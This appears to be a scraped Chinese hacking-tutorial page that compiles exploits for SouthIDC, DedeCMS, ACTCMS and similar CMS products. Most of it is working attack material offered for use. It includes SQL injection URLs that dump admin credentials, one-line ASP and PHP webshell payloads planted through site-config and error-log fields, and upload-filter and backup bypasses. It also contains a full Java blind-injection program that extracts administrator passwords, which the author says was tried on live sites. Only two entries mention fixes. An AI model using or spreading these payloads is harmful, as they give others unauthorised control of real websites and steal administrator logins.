下面是小编帮大家整理的南方数据企业注入漏洞(共含6篇),希望对大家带来帮助,欢迎大家分享。同时,但愿您也能像本文投稿人“江蝴骗子”一样,积极向本站投稿分享好文章。
**************************
By:XoL-!
www.tsbct.com
**************************
发现日期:
-09-25
影响版本: v10.0 v11.0
Exploit:
www.southidc.net/0791idc11Q/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''='
获取shell方法:
在网站配置[www.target.com/admin/SiteConfig.asp]的版权信息里写入“%><%eval(request(chr(35)))%><%'
成功把shell写入www.target.com/inc/config.asp
/Databases/0791idc.mdb
1.注入点:news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F7
也可能是(另外一个版本)news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9,10 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F7
直接暴管理员帐号密码(md5)
2.登陆后台
3.利用编辑器上传:
访问admin/southidceditor/admin_style.asp
修改编辑器样式,增加asa(不要asp).然后直接后台编辑新闻上传.
========================================
参考资料整理:
南方数据、良精系统、网软天下漏洞利用
1、通过upfile_other.asp漏洞文件直接取SHELL
直接打开userreg.asp进行注册会员,进行登录,(在未退出登录的状态下)使用本地上传文件进行上传代码如下:
encType=multipart/form-data>
将以上代码保存为html格式,替换代码中的网址,第一个框里选择图片文件,第二个框选择.cer、.asa或asp文件上传(后面需要加一个空格,貌似在IE8中进行使用不能后面加空格,加空格时就弹出选择文件对话框,我是找不到解决办法),
注:此方法通杀南方数据、良精系统、网软天下等
2、通过注入秒杀管理员帐号密码,使用如下:
www.huobaodidai.cn/NewsType.asp?SmallClass=’%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20’’=’
以上代码直接暴管理员帐号和密码,取SHELL方法如下:
在网站配置[www.target.com/admin/SiteConfig.asp]的版权信息里写入 ”%><%eval(request(chr(35)))%><%’
成功把shell写入www.target.com/inc/config.asp
这里一句话chr(32)密码是“#”
3、cookie注入
清空地址栏,利用union语句来注入,提交:
javascript.:alert(document.cookie=“id=”+escape(“1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from Admin”))
如果你牛你就手工,反正我是不会,用刺猬大哥的“cookie注入转换工具”方便又迅速何乐而不为?
注:貌似南方数据、良精系统、网软天下等系统也都存在COOKIE注入,
(当然南方不只有上面三个漏洞,还有几个漏洞貌似不常用,反正我给我常用的总结出来希望对大家有帮助)
三、后台取SHELL方法总结
(1)在系统管理中的网站配置中插入一句话马:进入后台后,点左边的”系统管理”再点击”网站配置”在右边的”网站名称”(也可以在其它处)后加入“%><%Eval(Request(chr(112)))%><%’,再点保存配置,如图:
然后我们打开inc/config.asp文件,看到一句话马已写入到配置文件中了,
这时再打开一句话马的客户端,提交同样得到一个小马
(注:以下均在其它网站上测试所截的图,为防止信息泄漏,未截留网站连接,请谅解!)
(2)后台上传漏洞,在Upfile_Photo.asp文件中部分代码片段如下:
if fileEXT=”asp“ or fileEXT=”asa“ or fileEXT=”aspx“ then
EnableUpload=false
end if
if EnableUpload=false then
msg=”这种文件类型不允许上传!nn只允许上传这几种文件类型:“ & UpFileType
FoundErr=true
end if
大家可以看到程序只限制了对”asp“,”asa“,”aspx“类的文件上传,我们只要在”网站配置”的允许的上传文件类型处增加上传“cer“等被服务器可解析的文件类型就可,如图:
提交时却显示下载页面 ,上传其它如”htr,cdx”等后缀文件时,提交时服务器却不请求(只能说运气不好吧)
(3)后台备份,直接在”产品管理”下的添加产品中上传jpg后缀的asp马,再到”系统管理”下的数据库备份,在”当前数据库路径”栏填入上传的路径,在” 备份数据库名称”填入你要备份马的名称,不过系统会在名称后自动添加上.asa的
点”确定”后提示”备份数据库成功….”不过实际文件是没有.asa的
直接访问备份后的地址,就得到一个webshell
(以上虽用网软做的后台演示,但南方和良精后台取shell都是大同小异的)
===[ Exploit ]===
www.WordPress.com/?event_id=[Sql]
www.WordPress.com/Path/?event_id=[Sql]
Exploit:
null+and+1=2+union+select 1,concat(user_login,0x3a,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+wp_users
dedecms5.3和5.5系列版本存在重大注入漏洞,
作者:张恒
假设域名是:www.abc.com攻击步骤如下:
1.访问网址:
www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
2.访问 www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了.
int(3) Error: Illegal double ’1024e1024’ value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
3.执行压缩包里的文件test.html,注意form中action 的地址是:
按确定后的看到第2步骤的信息表示文件木马上传成功.
木马网址:www.abc.com/data/a.php
密码:888
漏洞分析:
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞.
解决方案:
打开文件include/dedesql.class.php
找到代码
@fwrite($fp, ’<’’.’?php’.”/*{$savemsg}*/?“.”>“);
替换代码
@fwrite($fp, ’<’.’?php’.”exit;/*{$savemsg}*/?“.”>“);
清空 data/mysql_error_trace.php 文件内容
系统名称:网赢企业网络营销平台
系统版本:不明
漏洞发现者:Akast [N.S.T]
安全团队:Neuron Security Team
漏洞类型:SQL injection
漏洞文件:/topic.php
漏洞变量:channelID
软件类型:商业软件
开发公司:广东天拓资讯科技有限公司
漏洞简述:可以利用该注入漏洞获得网站管理员权限,从而可以登录网站管理员后台manager/index.php,并可以获得webshell权限,
网赢企业网络营销平台注入漏洞及修复
,
漏洞范围:使用网赢企业网络营销平台的网站都可能有危险!!!
补丁下载:官方未发布补丁。
修复策略:topic.php页面过滤channelID变量输入
一款ASP的CMS程序,用的人并不是太多。
GOOGLE一下关键字“Copyright @ 2006 www.actcms.com” ,不是太多。
今天看了一下代码。
基本上所有的参数全都被过滤掉了。。
不过投票那里出了点小问题。。
在/plus/vote/vote.asp页面。
代码如下:
ASP/Visual Basic代码
....
if request(”voted“).count=0 then
response.write ”“
response.end
end if
for i=1 to request(”voted“).count
actcms.actexe(”Update vote_act set VoteNum=VoteNum+1 where id=“&request(”voted“)(i))
next
....
response.Redirect ”index.asp?id=“&id&”“
id直接从request里面取的,不过因为前面是update ,再加上后面的response.redirect,利用起来比较麻烦。而且这是一个一般工具无法识别的注入点。因为无论我们构造什么语句在后面,它都会跳到index.asp页面。
唯一有变化的就是当我们构造的注入条件正确的时候,票数会增加。 手工利用起来相当的麻烦,试了现在的那些注入工具明小子,pangolin之类的也不能注入,所以我自己动手写了一个简单的程序 ,因为只会JAVA,所以就用JAVA写了。。写的比较粗糙。用的穷举法,这样写着比较方便。速度慢就慢吧。
代码如下:
Java代码
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class ActCmsGetPwd {
public static char[] arr = { '0', '1', '2', '3', '4', '5', '6', '7', '8',
'9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',
'z' };
public static String siteurl = ”“;
public static int voteid = 1;
public static String charset = ”“;
public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.out
.println(”usage:java ActCmsGetPwd System.out.println(”siteurl:目标站点“); System.out.println(”voteid:投票id“); System.out .println(”totalVoteNum:当前的投票人数,请自行查看plus/vote/index.asp?id= System.out.println(”charset:目标站点所用的ACTCMS的字符集,请自行查看网页源代码“); System.out.println(”eg:java ActCmsGetPwd www.abc.com/ 1 15 gb2312“); return; } siteurl = args[0]; voteid = Integer.parseInt(args[1]); int preVoteNum = Integer.parseInt(args[2]); charset = args[3]; System.out.println(”Code by Ninty , QQ 3191864“); System.out.print(”password is :“); for (int i = 1; i <= 16; i++) { System.out.print(send(i, 0, preVoteNum)); preVoteNum++; } System.out.println(”nDone!“); } public static char send(int a, int b, int preVoteNum) throws Exception { String sql = ”%20and%20(select%20top%201%20mid(password,“ + a + ”,1)%20from%20admin_act%20where%20supertf%20=1)%20=%20'“ + arr[b] + ”'“; URL u = new URL(siteurl + ”/Plus/vote/vote.asp?dopost=send&id=“+voteid+”&ismore=0&voted=3“ + sql); URLConnection conn = u.openConnection(); BufferedReader reader = new BufferedReader(new InputStreamReader(conn .getInputStream(),charset)); String str = reader.readLine(); while (str != null) { if (str.indexOf(” 投票人数:“) != -1) { break; } str = reader.readLine(); } reader.close(); if (!isRight(str, preVoteNum)) { return send(a, ++b, preVoteNum); } else { return arr[b]; } } public static boolean isRight(String str, int preVoteNum) { if (str == null) { System.out.println(”无法读取!“); System.exit(0); } Pattern pat = Pattern.compile(”人数:(\d+)"); Matcher mat = pat.matcher(str); if (mat.find()) { int num = Integer.parseInt(mat.group(1)); if (num != preVoteNum) { return true; } } return false; } }
下面是已经编译好的 class文件,编译环境JDK6,
直接运行就好。
actcmsgetpwd.class
在网上找了几个站测试了一下,都可以得到超级管理员的密码,不过官网好像不存在这个漏洞。
★ shopxp pinglun.asp文件SQL注入漏洞分析漏洞预警
★ 南方的秋天
★ 南方周刊贺词
★ 自荐信南方科大